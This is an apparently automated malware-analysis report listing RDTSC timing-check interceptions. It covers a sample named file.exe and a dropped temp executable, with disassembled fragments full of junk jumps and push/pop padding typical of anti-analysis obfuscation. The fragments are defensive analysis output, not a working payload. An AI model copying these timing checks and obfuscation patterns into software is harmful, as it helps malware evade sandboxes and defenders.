Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10396 second address: 4E10423 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6CDCCD27C7h 0x00000013 sbb cx, 41DEh 0x00000018 jmp 00007F6CDCCD27C9h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F6CDCCD27C0h 0x00000024 jmp 00007F6CDCCD27C5h 0x00000029 popfd 0x0000002a popad 0x0000002b xchg eax, esi 0x0000002c jmp 00007F6CDCCD27BEh 0x00000031 xchg eax, edi 0x00000032 pushad 0x00000033 movzx ecx, bx 0x00000036 push eax 0x00000037 push edx 0x00000038 movsx ebx, si 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10592 second address: 4E105A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E105A7 second address: 4E105FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6CDCCD27C7h 0x00000009 and ch, 0000006Eh 0x0000000c jmp 00007F6CDCCD27C9h 0x00000011 popfd 0x00000012 call 00007F6CDCCD27C0h 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E105FC second address: 4E10602 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10602 second address: 4E1068F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6CDCCD27BBh 0x00000008 pop ecx 0x00000009 mov cl, bl 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr fs:[00000000h], eax 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F6CDCCD27BEh 0x0000001b add esi, 0AA6C578h 0x00000021 jmp 00007F6CDCCD27BBh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F6CDCCD27C8h 0x0000002d and eax, 6D325FD8h 0x00000033 jmp 00007F6CDCCD27BBh 0x00000038 popfd 0x00000039 popad 0x0000003a mov dword ptr [ebp-18h], esp 0x0000003d jmp 00007F6CDCCD27C6h 0x00000042 mov eax, dword ptr fs:[00000018h] 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1068F second address: 4E10695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10695 second address: 4E1069B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1069B second address: 4E1069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1069F second address: 4E106FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [eax+00000FDCh] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6CDCCD27BEh 0x00000018 or al, FFFFFFC8h 0x0000001b jmp 00007F6CDCCD27BBh 0x00000020 popfd 0x00000021 mov esi, 509BC53Fh 0x00000026 popad 0x00000027 test ecx, ecx 0x00000029 jmp 00007F6CDCCD27C2h 0x0000002e jns 00007F6CDCCD280Dh 0x00000034 pushad 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E106FC second address: 4E1072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F6CDCB9DE08h 0x0000000a popad 0x0000000b add eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6CDCB9DDFAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1072A second address: 4E10739 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10739 second address: 4E1073F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1073F second address: 4E10743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10743 second address: 4E10747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00307 second address: 4E0031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCCD27C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0031F second address: 4E0033C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F6CDCB9DDFFh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0033C second address: 4E00354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCCD27C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00354 second address: 4E00358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00358 second address: 4E003C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b jmp 00007F6CDCCD27C7h 0x00000010 xchg eax, ebx 0x00000011 pushad 0x00000012 mov ax, 3C2Bh 0x00000016 call 00007F6CDCCD27C0h 0x0000001b pushad 0x0000001c popad 0x0000001d pop esi 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F6CDCCD27BEh 0x00000025 xchg eax, ebx 0x00000026 jmp 00007F6CDCCD27C0h 0x0000002b xchg eax, edi 0x0000002c pushad 0x0000002d mov eax, 565522ADh 0x00000032 mov dl, al 0x00000034 popad 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003C5 second address: 4E003C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003C9 second address: 4E003CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00456 second address: 4E00492 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007F6CDCB9DDFEh 0x0000000f test al, al 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6CDCB9DDFAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00492 second address: 4E004A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004A1 second address: 4E004B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DE04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004B9 second address: 4E004BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005F8 second address: 4E005FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005FC second address: 4E00619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00619 second address: 4E0063B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F6D4D7FBC54h 0x0000000f pushad 0x00000010 mov cl, CBh 0x00000012 push eax 0x00000013 push edx 0x00000014 mov ecx, edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0063B second address: 4E0063F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0063F second address: 4E0067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007F6CDCB9DE9Eh 0x0000000d jmp 00007F6CDCB9DE07h 0x00000012 cmp dword ptr [ebp-14h], edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6CDCB9DE00h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0067A second address: 4E00689 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00689 second address: 4E00690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00690 second address: 4E006CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F6D4D9305BAh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov si, 456Fh 0x00000014 pushfd 0x00000015 jmp 00007F6CDCCD27C4h 0x0000001a or si, 2D98h 0x0000001f jmp 00007F6CDCCD27BBh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006CB second address: 4E006E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DE04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006E3 second address: 4E0070B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6CDCCD27C0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0070B second address: 4E0071A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0071A second address: 4E00720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00720 second address: 4E00761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e pushad 0x0000000f movzx ecx, bx 0x00000012 pushfd 0x00000013 jmp 00007F6CDCB9DE01h 0x00000018 jmp 00007F6CDCB9DDFBh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 movsx edi, si 0x00000026 mov edi, esi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00761 second address: 4E00779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCCD27C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00779 second address: 4E007BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6CDCB9DE02h 0x00000015 jmp 00007F6CDCB9DE05h 0x0000001a popfd 0x0000001b mov si, 5487h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007BC second address: 4E007F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F6CDCCD27BEh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6CDCCD27C7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007F6 second address: 4E00849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6CDCB9DE01h 0x0000000f nop 0x00000010 jmp 00007F6CDCB9DDFEh 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 mov di, ax 0x0000001a jmp 00007F6CDCB9DDFAh 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00849 second address: 4E0087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCCD27BDh 0x00000009 popad 0x0000000a mov ecx, 111324F7h 0x0000000f popad 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6CDCCD27C9h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D3E second address: 4E00D4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DDFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D4E second address: 4E00D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D52 second address: 4E00D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ecx, edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D61 second address: 4E00D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D65 second address: 4E00DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F6CDCB9DE05h 0x0000000c sub si, 0106h 0x00000011 jmp 00007F6CDCB9DE01h 0x00000016 popfd 0x00000017 popad 0x00000018 cmp dword ptr [75AB459Ch], 05h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F6CDCB9DE03h 0x00000028 jmp 00007F6CDCB9DE03h 0x0000002d popfd 0x0000002e mov edx, esi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00DCE second address: 4E00E50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6CDCCD27BBh 0x00000009 and ah, FFFFFF9Eh 0x0000000c jmp 00007F6CDCCD27C9h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop edi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F6D4D9203B6h 0x0000001d pushad 0x0000001e jmp 00007F6CDCCD27C8h 0x00000023 mov di, si 0x00000026 popad 0x00000027 pop ebp 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushfd 0x0000002c jmp 00007F6CDCCD27C8h 0x00000031 and si, A128h 0x00000036 jmp 00007F6CDCCD27BBh 0x0000003b popfd 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2078D second address: 4E2084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6CDCB9DE07h 0x00000009 adc si, C0EEh 0x0000000e jmp 00007F6CDCB9DE09h 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push esp 0x0000001b pushad 0x0000001c call 00007F6CDCB9DE06h 0x00000021 movzx ecx, di 0x00000024 pop edi 0x00000025 mov cl, 34h 0x00000027 popad 0x00000028 mov dword ptr [esp], esi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F6CDCB9DE05h 0x00000032 sub esi, 0BE7F936h 0x00000038 jmp 00007F6CDCB9DE01h 0x0000003d popfd 0x0000003e pushfd 0x0000003f jmp 00007F6CDCB9DE00h 0x00000044 adc si, 2058h 0x00000049 jmp 00007F6CDCB9DDFBh 0x0000004e popfd 0x0000004f popad 0x00000050 mov esi, dword ptr [ebp+0Ch] 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2084A second address: 4E2084E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2084E second address: 4E20854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20854 second address: 4E2085A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2085A second address: 4E2085E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2085E second address: 4E20862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20862 second address: 4E208B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F6CDCB9DE00h 0x0000000f je 00007F6D4D7CB931h 0x00000015 jmp 00007F6CDCB9DE00h 0x0000001a cmp dword ptr [75AB459Ch], 05h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F6CDCB9DE07h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20937 second address: 4E20961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6CDCCD27C7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20961 second address: 4E2098D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6CDCB9DDFCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2098D second address: 4E209B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6CDCCD27C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E209B4 second address: 4E209BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E209BA second address: 4E209BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: D4EC58 second address: D4EC69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EAFBC7 second address: EAFBEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6CDCCD27C3h 0x00000008 jmp 00007F6CDCCD27BCh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECA485 second address: ECA495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCD45 second address: ECCD49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCD49 second address: ECCD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F6CDCB9DDF6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCD5B second address: ECCD61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCD61 second address: ECCD6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6CDCB9DDF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCD6B second address: ECCE0C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F6CDCCD27C8h 0x00000015 mov eax, dword ptr [eax] 0x00000017 je 00007F6CDCCD27BAh 0x0000001d push ebx 0x0000001e pushad 0x0000001f popad 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 jmp 00007F6CDCCD27C7h 0x0000002a pop eax 0x0000002b add dword ptr [ebp+122D17D4h], esi 0x00000031 lea ebx, dword ptr [ebp+12451B0Ch] 0x00000037 pushad 0x00000038 mov edi, dword ptr [ebp+122D2AD0h] 0x0000003e jne 00007F6CDCCD27BCh 0x00000044 popad 0x00000045 xchg eax, ebx 0x00000046 pushad 0x00000047 jmp 00007F6CDCCD27C7h 0x0000004c jmp 00007F6CDCCD27C1h 0x00000051 popad 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCE0C second address: ECCE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCFDD second address: ECCFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCFE1 second address: ECCFE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCFE5 second address: ECCFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
